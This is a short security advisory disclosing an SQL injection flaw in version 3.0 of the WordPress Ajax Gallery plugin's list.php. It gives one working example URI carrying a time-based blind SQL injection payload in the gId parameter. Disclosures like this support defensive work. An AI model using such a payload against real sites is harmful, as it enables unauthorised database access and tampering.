WordPress Ajax Gallery Plugin 'ajaxgallery/utils/list.php' SQL Injection Vulnerability

Bugtraq ID:	49233
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 18 2011 12:00AM
Updated:	Aug 18 2011 12:00AM
Credit:	Miroslav Stampar
Vulnerable:	WordPress Ajax Gallery 3.0
Not Vulnerable:

WordPress Ajax Gallery Plugin 'ajaxgallery/utils/list.php' SQL Injection Vulnerability

WP Ajax Gallery plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WP Ajax Gallery 3.0 is vulnerable; other versions may also be affected.

WordPress Ajax Gallery Plugin 'ajaxgallery/utils/list.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/wp-content/plugins/ajaxgallery/utils/list.php?delete=1&gId=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

WordPress Ajax Gallery Plugin 'ajaxgallery/utils/list.php' SQL Injection Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].

WordPress Ajax Gallery Plugin 'ajaxgallery/utils/list.php' SQL Injection Vulnerability

References:

• WordPress Ajax Gallery plugin <= 3.0 SQL Injection Vulnerability (WordPress)
  
• WordPress Homepage (WordPress)